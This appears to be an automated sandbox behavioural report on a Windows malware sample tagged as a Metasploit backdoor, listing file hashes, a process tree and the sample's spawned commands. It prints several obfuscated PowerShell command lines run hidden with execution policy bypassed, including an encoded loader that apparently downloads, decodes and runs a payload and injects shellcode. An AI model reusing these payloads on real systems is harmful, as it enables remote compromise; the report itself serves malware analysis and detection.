memory/3988-57-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 02a1a26525c65a359d41483180eaa6f7
SHA1 c0e2578b92d20e925c1c87016d1a9fccee1ec56f
SHA256 d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
SHA512 d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powERShelL.exe.log

MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

memory/4140-61-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-16 10:26

Reported

2024-06-16 10:28

Platform

win7-20240508-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2580 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe
PID 2580 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe
PID 2580 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe
PID 2228 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2228 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2228 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1980 wrote to memory of 2652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1980 wrote to memory of 2652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1980 wrote to memory of 2652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2652 wrote to memory of 1420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 2652 wrote to memory of 1420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 2652 wrote to memory of 1420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 1420 wrote to memory of 2796 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1420 wrote to memory of 2796 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1420 wrote to memory of 2796 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe

"C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe

powERShelL -WiN HidDEn -CoM "(-Join(('2628275365742d7641724941624c4527292052355a4e4a6f65344f58536e2033353b2628277365272b27542d764172494162272b274c652729204e77786974495730335555632039323b2628277b317d7b327d7b307d272d662741726961426c65272c27534554272c272d76272920646a48684a795764435465352031313b262828273620392033203520302034203120372034203220382039272d5245706c416345275c772b272c277b247b307d7d272d7245506c4163452720272c2727292d662776272c2772272c2762272c2774272c2761272c272d272c2773272c2769272c276c272c276527292073634545574630516f56616d282828282e28277b327d7b307d7b317d272d662761272c27724941624c65272c276745542d5627292052355a4e4a6f65344f58536e292e282827332030203120322034272d5265506c614365275c772b272c277b247b307d7d272d5245704c6163652720272c2727292d662761272c276c272c2775272c2776272c276527292b3130292d61735b436841725d292e2827746f537472694e6727292e694e564f6b4528292b2828282e2828273820322033203720302039203120342039203520362032272d7245706c614365275c772b272c277b247b307d7d272d5245704c6143652720272c2727292d662776272c2772272c2765272c2774272c2769272c2762272c276c272c272d272c2767272c27612729204e7778697449573033555563292e282827302034203320322031272d5245706c416365275c772b272c277b247b307d7d272d7265704c6163652720272c2727292d662776272c2765272c2775272c276c272c276127292b39292d61735b434841525d292e282827302035203620302033203220312034272d5265704c416345275c772b272c277b247b307d7d272d5265506c4143652720272c2727292d662774272c276e272c2769272c2772272c2767272c276f272c277327292e696e766f4b6528292b2828282e28277b337d7b327d7b307d7b317d272d66276c272c2745272c2752494162272c276765542d7661272920646a48684a79576443546535292e282827342032203120302033272d7265506c614365275c772b272c277b247b307d7d272d5265504c4143452720272c2727292d662775272c276c272c2761272c2765272c277627292b3838292d61735b434841525d292e28277b327d7b307d7b317d272d66274e272c2767272c27746f7354724927292e694e566f4b652829293b506f5745727348454c4c202d4e4f6e494e544572202d6e6f6c4f202d4e4f50526f202d77496e2068494444654e202d4578452042797061735320282628276765742d5661524961272b27426c4527292073634545574630516f56616d292e282827302034203320312032272d5265704c616365275c772b272c277b247b307d7d272d7245504c4163652720272c2727292d662776272c2775272c2765272c276c272c276127292e282827302035203620302034203320312032272d7265706c616365275c772b272c277b247b307d7d272d7265504c6143452720272c2727292d662774272c276e272c2767272c2769272c2772272c276f272c277327292e696e564f4b6528294a67416f414367414a774130414341414d6741674144594149414178414341414d4141674144634149414131414341414f414167414463414941417a414341414f514167414449414a77417441464941525142774145774151514244414555414a774263414863414b77416e414377414a7742374143514165774177414830416651416e4143304155674246414641416241426841474d415a51416e414341414a774173414363414a774170414330415a67416e414859414a774173414363414c51416e414377414a77426c414363414c41416e414749414a774173414363416377416e414377414a774279414363414c41416e414851414a774173414363415951416e414377414a774270414363414c41416e414777414a7741704143414163414230414555416141425441466f415367427441485541534142614145554149414178414459414f774175414367414a7742544147554164414174414859415151427941456b414a7741724143634151514243414363414b77416e414577414a774172414363415a51416e41436b41494142754147634159514259414730414e414134414867416541426f41466f4157514167414463414f414137414359414b41416f414363414e7741674144514149414179414341414f5141674144554149414177414341414d51416741444d4149414177414341414f4141674144594149414130414363414c5142534145554163414273414545415977426c4143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142774145774159514244414755414a774167414363414c41416e414363414b514174414759414a774268414363414c41416e414849414a774173414363416441416e414377414a774270414363414c41416e414755414a774173414363416467416e414377414a774273414363414c41416e41484d414a774173414363415967416e414377414a774174414363414b514167414545414f51426a414745414e674231414530416151424e4145774162514235414341414f414131414473414c67416f414334414b41416e414563414a7741724143634151774274414363414b51416f414363415577426c414363414b77416e414851414c5142324147454155674270414363414b77416e414745415167416e414373414a77424d414755414a77417041436b4149414253414863415a774133414659415277426f41476b4159674269414455415241416f414367414b41416f414359414b41416d414367414b41416e4144414149414178414341414d67416e414330416367426c414841416241424241454d415251416e4146774164774172414363414c41416e414873414a4142374144414166514239414363414c514253414555415541424d4145454151774246414363414941416e414377414a77416e41436b414c51426d414363415a77416e414377414a77426a414363414c41416e414730414a774170414367414a77426e4145554164414174414659415951425341476b4159514243414777415a51416e41436b414b5141674148414164414246414767415577426141456f4162514231414567415767424641436b414c67416f41436341657741784148304165774177414830414a774174414759414a774246414363414c41416e4148594159514273414855414a774170414373414d67413541436b414c51426841464d415777426a4147674151514279414630414b514175414367414a77423741444541665142374144414166514237414449416651416e414330415a67416e41476b414a774173414363416441425041464d4164414253414363414c41416e414734415277416e41436b414c6742704147344164674250414573415a51416f41436b414b77416f414367414b414175414367414a7742374144414166514237414445416651423741444941665142374144554166514237414451416651423741444d416651416e414330415a67416e414763414a77417341436341525142554143304156674268414363414c41416e414649416151416e414377414a77426c414363414c41416e414777414a7741734143634159514269414363414b514167414734415a77426841466741625141304144674165414234414767415767425a41436b414c67416f414363416577417941483041657741784148304165774177414830414a774174414759414a774246414363414c41416e414577416451416e414377414a774257414545414a774170414373414d67417a41436b414c51424241464d41577742444147674159514253414630414b514175414367414a7742304145384155774230414849415351416e414373414a774275414763414a774170414334416151424f4148594162774272414755414b414170414373414b41416f414367414c67416f414334414b41416e414873414d514239414873414d674239414873414d414239414363414c51426d414363416251416e414377414a77426e414363414c41416e41474d414a774170414367414b41416e41444d4149414135414341414e5141674144634149414134414341414e4141674144454149414132414341414e4141674144494149414177414341414f51416e4143304155674246414841415441424241474d415251416e4146774164774172414363414c41416e414873414a4142374144414166514239414363414c5142794147554155414273414545415177426c414363414941416e414377414a77416e41436b414c51426d414363416241416e414377414a774279414363414c41416e414749414a774173414363415a77416e414377414a774268414363414c41416e414851414a774173414363416151416e414377414a774174414363414c41416e414859414a774173414363415a51416e41436b414b514167414545414f51426a414745414e674231414530416151424e414577416251423541436b414c67416f4143634156674268414777415651426c414363414b514172414445414e4141704143304159514254414673415177426f414745416367426441436b414c67416f414363415641425041464d415641416e414373414a77427941476b4154674248414363414b51417541476b4154674232414538415377426c414367414b5141704144734155414250414663415251427941464d416141426c41477741544141674143304162674276414734416151424f414651415a514253414745415977425541476b4156674246414341414c51424f4147384154414276414563416277416741433041626742504148414163674250414341414c514233414341415341424a414551415241426c4145344149414174414755416541426c41454d4164514230414341415167425a414641415151427a41464d414941416f414359414b41416e414873414d674239414873414d414239414873414d514239414363414c51426d414363415151416e414377414a774269414577415251416e414377414a7742484145554164414174414659415151427941456b414a7741704143414155674233414763414e77425741456341614142704147494159674131414551414b514175414367414a774232414545415441416e414373414a774231414755414a774170414334414b41416e414873414d414239414363414c51426d414363416441427641484d416441427941476b4154674248414363414b51417541456b4162674257414738416177426c414367414b51416f41467341517742494147454163674262414630415851416f414367415777424441476741595142534146734158514264414367414c67416f414367414a774179414341414e414167414463414941417a414341414d5141674144674149414131414341414e4141674144414149414132414363414c514253414555416341424d414545415177426c4143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142514145774159514244414755414a774167414363414c41416e414363414b514174414759414a77426a414363414c41416e414738414a774173414363416267416e414377414a774174414363414c41416e414755414a774173414363416167416e414377414a774230414363414c41416e414863414a774173414363415967416e41436b414941416f414367414a774133414341414d7741674144454149414134414341414d41416741444d4149414179414341414e4141674144594149414131414341414d7741674144634149414178414363414c514253414755416341424d41454541517742464143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142774145774151514244414555414a774167414363414c41416e414363414b514174414759414a774233414363414c41416e414851414a774173414363415967416e414377414a77426c414363414c41416e41474d414a774173414363416151416e414377414a774273414363414c41416e414734414a774173414363414c67416e41436b414b514175414367414a7742374144414166514237414445416651416e414330415a67416e41455141627742584147344154414276414745415241427a414651415567424a414534414a774173414363415277416e41436b414c67424a4145344156674250414773415251416f414351415a514275414859414f6742304147554162514277414373414a7742634145344161414230414559415a41424841484d415a41424e4148594157414278414363414b514170414877414a514237414351415741426d4148594157414177414738415251413441454941537742354148674150514177414830416577416b414638414c514243414867416277425341436341524142344145554156514245414534414d41426e4147454161674268414449416351424941445141617742424146674154774234414863414d7742454144514159514132414777416367426f414655416167416e414673414a41425941475941646742594144414162774246414467415167424c41486b4165414172414373414a51417a414445415851423941436b414c514271414738415351424f414363414a774170414473415567426c4147304162774232414755414c51424a414851415a514274414341414a41426c4147344164674136414851415a514274414841414a7742634145344161414230414559415a41424841484d415a41424e414859415741427841436341'-sPlit'(?<=\G.{2})(?!$)')|%{[coNvErT]::('toI'+'n'+'t16').INvoKe(($_),16)-AS[ChaR]}))|&(('10 9 7 3 6 4 5 4 8 0 1 4 2 2 10 3 9'-rEpLaCe'\w+','{${0}}'-RePLace' ','')-f'p','r','s','o','e','-','k','v','x','n','i')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOnINTEr -nolO -NOPRo -wIn hIDDeN -ExE BypasS -ec JgAoACgAJwA0ACAAMgAgADYAIAAxACAAMAAgADcAIAA1ACAAOAAgADcAIAAzACAAOQAgADIAJwAtAFIARQBwAEwAQQBDAEUAJwBcAHcAKwAnACwAJwB7ACQAewAwAH0AfQAnAC0AUgBFAFAAbABhAGMAZQAnACAAJwAsACcAJwApAC0AZgAnAHYAJwAsACcALQAnACwAJwBlACcALAAnAGIAJwAsACcAcwAnACwAJwByACcALAAnAHQAJwAsACcAYQAnACwAJwBpACcALAAnAGwAJwApACAAcAB0AEUAaABTAFoASgBtAHUASABaAEUAIAAxADYAOwAuACgAJwBTAGUAdAAtAHYAQQByAEkAJwArACcAQQBCACcAKwAnAEwAJwArACcAZQAnACkAIABuAGcAYQBYAG0ANAA4AHgAeABoAFoAWQAgADcAOAA7ACYAKAAoACcANwAgADQAIAAyACAAOQAgADUAIAAwACAAMQAgADMAIAAwACAAOAAgADYAIAA0ACcALQBSAEUAcABsAEEAYwBlACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBwAEwAYQBDAGUAJwAgACcALAAnACcAKQAtAGYAJwBhACcALAAnAHIAJwAsACcAdAAnACwAJwBpACcALAAnAGUAJwAsACcAdgAnACwAJwBsACcALAAnAHMAJwAsACcAYgAnACwAJwAtACcAKQAgAEEAOQBjAGEANgB1AE0AaQBNAEwAbQB5ACAAOAA1ADsALgAoAC4AKAAnAEcAJwArACcAQwBtACcAKQAoACcAUwBlACcAKwAnAHQALQB2AGEAUgBpACcAKwAnAGEAQgAnACsAJwBMAGUAJwApACkAIABSAHcAZwA3AFYARwBoAGkAYgBiADUARAAoACgAKAAoACYAKAAmACgAKAAnADAAIAAxACAAMgAnAC0AcgBlAHAAbABBAEMARQAnAFwAdwArACcALAAnAHsAJAB7ADAAfQB9ACcALQBSAEUAUABMAEEAQwBFACcAIAAnACwAJwAnACkALQBmACcAZwAnACwAJwBjACcALAAnAG0AJwApACgAJwBnAEUAdAAtAFYAYQBSAGkAYQBCAGwAZQAnACkAKQAgAHAAdABFAGgAUwBaAEoAbQB1AEgAWgBFACkALgAoACcAewAxAH0AewAwAH0AJwAtAGYAJwBFACcALAAnAHYAYQBsAHUAJwApACsAMgA5ACkALQBhAFMAWwBjAGgAQQByAF0AKQAuACgAJwB7ADEAfQB7ADAAfQB7ADIAfQAnAC0AZgAnAGkAJwAsACcAdABPAFMAdABSACcALAAnAG4ARwAnACkALgBpAG4AdgBPAEsAZQAoACkAKwAoACgAKAAuACgAJwB7ADAAfQB7ADEAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADMAfQAnAC0AZgAnAGcAJwAsACcARQBUAC0AVgBhACcALAAnAFIAaQAnACwAJwBlACcALAAnAGwAJwAsACcAYQBiACcAKQAgAG4AZwBhAFgAbQA0ADgAeAB4AGgAWgBZACkALgAoACcAewAyAH0AewAxAH0AewAwAH0AJwAtAGYAJwBFACcALAAnAEwAdQAnACwAJwBWAEEAJwApACsAMgAzACkALQBBAFMAWwBDAGgAYQBSAF0AKQAuACgAJwB0AE8AUwB0AHIASQAnACsAJwBuAGcAJwApAC4AaQBOAHYAbwBrAGUAKAApACsAKAAoACgALgAoAC4AKAAnAHsAMQB9AHsAMgB9AHsAMAB9ACcALQBmACcAbQAnACwAJwBnACcALAAnAGMAJwApACgAKAAnADMAIAA5ACAANQAgADcAIAA4ACAANAAgADEAIAA2ACAANAAgADIAIAAwACAAOQAnAC0AUgBFAHAATABBAGMARQAnAFwAdwArACcALAAnAHsAJAB7ADAAfQB9ACcALQByAGUAUABsAEEAQwBlACcAIAAnACwAJwAnACkALQBmACcAbAAnACwAJwByACcALAAnAGIAJwAsACcAZwAnACwAJwBhACcALAAnAHQAJwAsACcAaQAnACwAJwAtACcALAAnAHYAJwAsACcAZQAnACkAKQAgAEEAOQBjAGEANgB1AE0AaQBNAEwAbQB5ACkALgAoACcAVgBhAGwAVQBlACcAKQArADEANAApAC0AYQBTAFsAQwBoAGEAcgBdACkALgAoACcAVABPAFMAVAAnACsAJwByAGkATgBHACcAKQAuAGkATgB2AE8ASwBlACgAKQApADsAUABPAFcARQByAFMAaABlAGwATAAgAC0AbgBvAG4AaQBOAFQAZQBSAGEAYwBUAGkAVgBFACAALQBOAG8ATABvAEcAbwAgAC0AbgBPAHAAcgBPACAALQB3ACAASABJAEQARABlAE4AIAAtAGUAeABlAEMAdQB0ACAAQgBZAFAAQQBzAFMAIAAoACYAKAAnAHsAMgB9AHsAMAB9AHsAMQB9ACcALQBmACcAQQAnACwAJwBiAEwARQAnACwAJwBHAEUAdAAtAFYAQQByAEkAJwApACAAUgB3AGcANwBWAEcAaABpAGIAYgA1AEQAKQAuACgAJwB2AEEATAAnACsAJwB1AGUAJwApAC4AKAAnAHsAMAB9ACcALQBmACcAdABvAHMAdAByAGkATgBHACcAKQAuAEkAbgBWAG8AawBlACgAKQAoAFsAQwBIAGEAcgBbAF0AXQAoACgAWwBDAGgAYQBSAFsAXQBdACgALgAoACgAJwAyACAANAAgADcAIAAzACAAMQAgADgAIAA1ACAANAAgADAAIAA2ACcALQBSAEUAcABMAEEAQwBlACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBQAEwAYQBDAGUAJwAgACcALAAnACcAKQAtAGYAJwBjACcALAAnAG8AJwAsACcAbgAnACwAJwAtACcALAAnAGUAJwAsACcAagAnACwAJwB0ACcALAAnAHcAJwAsACcAYgAnACkAIAAoACgAJwA3ACAAMwAgADEAIAA4ACAAMAAgADMAIAAyACAANAAgADYAIAA1ACAAMwAgADcAIAAxACcALQBSAGUAcABMAEEAQwBFACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBwAEwAQQBDAEUAJwAgACcALAAnACcAKQAtAGYAJwB3ACcALAAnAHQAJwAsACcAYgAnACwAJwBlACcALAAnAGMAJwAsACcAaQAnACwAJwBsACcALAAnAG4AJwAsACcALgAnACkAKQAuACgAJwB7ADAAfQB7ADEAfQAnAC0AZgAnAEQAbwBXAG4ATABvAGEARABzAFQAUgBJAE4AJwAsACcARwAnACkALgBJAE4AVgBPAGsARQAoACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcAE4AaAB0AEYAZABHAHMAZABNAHYAWABxACcAKQApAHwAJQB7ACQAWABmAHYAWAAwAG8ARQA4AEIASwB5AHgAPQAwAH0AewAkAF8ALQBCAHgAbwBSACcARAB4AEUAVQBEAE4AMABnAGEAagBhADIAcQBIADQAawBBAFgATwB4AHcAMwBEADQAYQA2AGwAcgBoAFUAagAnAFsAJABYAGYAdgBYADAAbwBFADgAQgBLAHkAeAArACsAJQAzADEAXQB9ACkALQBqAG8ASQBOACcAJwApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABlAG4AdgA6AHQAZQBtAHAAJwBcAE4AaAB0AEYAZABHAHMAZABNAHYAWABxACcA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noniNTeRacTiVE -NoLoGo -nOprO -w HIDDeN -exeCut BYPAsS -ec KAAtAGoATwBJAG4AKAAoACcAMgA0ADcAMQA0AGMANgBkADUANAA3ADIANgBkADYAYgA2ADgAMwA3ADMAMgA1ADMANAA2ADMAZAAyADYAMgA4ADIAOAAyADcAMwAyADIAMAAzADUAMgAwADMANQAyADAAMwAxADIAMAAzADAAMgAwADMANAAyADAAMwA2ADIAMAAzADMAMgA3ADIAZAA1ADIANgA1ADUAMAA2AGMANgAxADYAMwA2ADUAMgA3ADUAYwA3ADcAMgBiADIANwAyAGMAMgA3ADcAYgAyADQANwBiADMAMAA3AGQANwBkADIANwAyAGQANQAyADQANQA3ADAANABjADYAMQA0ADMANgA1ADIANwAyADAAMgA3ADIAYwAyADcAMgA3ADIAOQAyAGQANgA2ADIANwA3ADQAMgA3ADIAYwAyADcAMgBkADIANwAyAGMAMgA3ADYAMQAyADcAMgBjADIANwA2ADUAMgA3ADIAYwAyADcANwA5ADIANwAyAGMAMgA3ADYANAAyADcAMgBjADIANwA3ADAAMgA3ADIAOQAyADAAMgBkADYAZAAyADAAMgA3ADUAYgA0ADQANgBjADYAYwA0ADkANgBkADcAMAA2AGYANwAyADcANAAyADgAMgAyADYAYgA2ADUANwAyADYAZQA2ADUANgBjADMAMwAzADIAMgBlADYANAA2AGMANgBjADIAMgAyADkANQBkADIAMAA3ADAANwA1ADYAMgA2AGMANgA5ADYAMwAyADAANwAzADcANAA2ADEANwA0ADYAOQA2ADMAMgAwADYANQA3ADgANwA0ADYANQA3ADIANgBlADIAMAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANQA2ADYAOQA3ADIANwA0ADcANQA2ADEANgBjADQAMQA2AGMANgBjADYAZgA2ADMAMgA4ADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADQAMQA2ADQANgA0ADcAMgA2ADUANwAzADcAMwAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANgA0ADcANwA1ADMANgA5ADcAYQA2ADUAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYANgA2AGMANAAxADYAYwA2AGMANgBmADYAMwA2ADEANwA0ADYAOQA2AGYANgBlADUANAA3ADkANwAwADYANQAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANgA2ADYAYwA1ADAANwAyADYAZgA3ADQANgA1ADYAMwA3ADQAMgA5ADMAYgA1AGIANAA0ADYAYwA2AGMANAA5ADYAZAA3ADAANgBmADcAMgA3ADQAMgA4ADIAMgA2AGIANgA1ADcAMgA2AGUANgA1ADYAYwAzADMAMwAyADIAZQA2ADQANgBjADYAYwAyADIAMgA5ADUAZAAyADAANwAwADcANQA2ADIANgBjADYAOQA2ADMAMgAwADcAMwA3ADQANgAxADcANAA2ADkANgAzADIAMAA2ADUANwA4ADcANAA2ADUANwAyADYAZQAyADAANAA5ADYAZQA3ADQANQAwADcANAA3ADIAMgAwADQAMwA3ADIANgA1ADYAMQA3ADQANgA1ADUANAA2ADgANwAyADYANQA2ADEANgA0ADIAOAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANgBjADcAMAA1ADQANgA4ADcAMgA2ADUANgAxADYANAA0ADEANwA0ADcANAA3ADIANgA5ADYAMgA3ADUANwA0ADYANQA3ADMAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYANAA3ADcANQAzADcANAA2ADEANgAzADYAYgA1ADMANgA5ADcAYQA2ADUAMgBjADIAMAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANgBjADcAMAA1ADMANwA0ADYAMQA3ADIANwA0ADQAMQA2ADQANgA0ADcAMgA2ADUANwAzADcAMwAyAGMAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADUAMAA2ADEANwAyADYAMQA2AGQANgA1ADcANAA2ADUANwAyADIAYwAyADAANwA1ADYAOQA2AGUANwA0ADIAMAA2ADQANwA3ADQAMwA3ADIANgA1ADYAMQA3ADQANgA5ADYAZgA2AGUANAA2ADYAYwA2ADEANgA3ADcAMwAyAGMAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADUANAA2ADgANwAyADYANQA2ADEANgA0ADQAOQA2ADQAMgA5ADMAYgA1AGIANAA0ADYAYwA2AGMANAA5ADYAZAA3ADAANgBmADcAMgA3ADQAMgA4ADIAMgA2AGQANwAzADcANgA2ADMANwAyADcANAAyAGUANgA0ADYAYwA2AGMAMgAyADIAOQA1AGQAMgAwADcAMAA3ADUANgAyADYAYwA2ADkANgAzADIAMAA3ADMANwA0ADYAMQA3ADQANgA5ADYAMwAyADAANgA1ADcAOAA3ADQANgA1ADcAMgA2AGUAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGQANgA1ADYAZAA3ADMANgA1ADcANAAyADgANAA5ADYAZQA3ADQANQAwADcANAA3ADIAMgAwADYANAA2ADUANwAzADcANAAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANwAzADcAMgA2ADMAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYAMwA2AGYANwA1ADYAZQA3ADQAMgA5ADMAYgAyADcAMgAwADIAZAA2AGUANgAxADYAZAA2ADUAMgAwADIANwA1ADcANgA5ADYAZQAzADMAMwAyADIANwAyADAAMgBkADYAZQA3ADMAMgAwADUANwA2ADkANgBlADMAMwAzADIANAA2ADcANQA2AGUANgAzADcANAA2ADkANgBmADYAZQA3ADMAMgAwADIAZAA3ADAANgAxADcAMwAzAGIANQBiADYAMgA1ADkANQA0ADYANQA1AGIANQBkADUAZAAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcAMwBkADMAMAA3ADgANgA2ADYAMwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADMAMgBjADMAMAA3ADgANgA1ADMANAAyAGMAMwAwADcAOAA2ADYAMwAwADIAYwAzADAANwA4ADYANQAzADgAMgBjADMAMAA3ADgANgAzADYAMwAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADEAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMANQAzADIAMgBjADMAMAA3ADgAMwA1ADMAMQAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAzADMAMQAyAGMAMwAwADcAOAA2ADQAMwAyADIAYwAzADAANwA4ADMANgAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMANQAzADIAMgBjADMAMAA3ADgAMwA2ADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA1ADMAMgAyAGMAMwAwADcAOAAzADEAMwA4ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMANwAzADIAMgBjADMAMAA3ADgAMwA1ADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAA2ADYAMgBjADMAMAA3ADgANgAyADMANwAyAGMAMwAwADcAOAAzADQANgAxADIAYwAzADAANwA4ADMANAA2ADEAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgANgAxADYAMwAyAGMAMwAwADcAOAAzADMANgAzADIAYwAzADAANwA4ADMANgAzADEAMgBjADMAMAA3ADgAMwA3ADYAMwAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADMAMgA2ADMAMgBjADMAMAA3ADgAMwAyADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADAANgA0ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAxADIAYwAzADAANwA4ADYANQAzADIAMgBjADMAMAA3ADgANgA1AD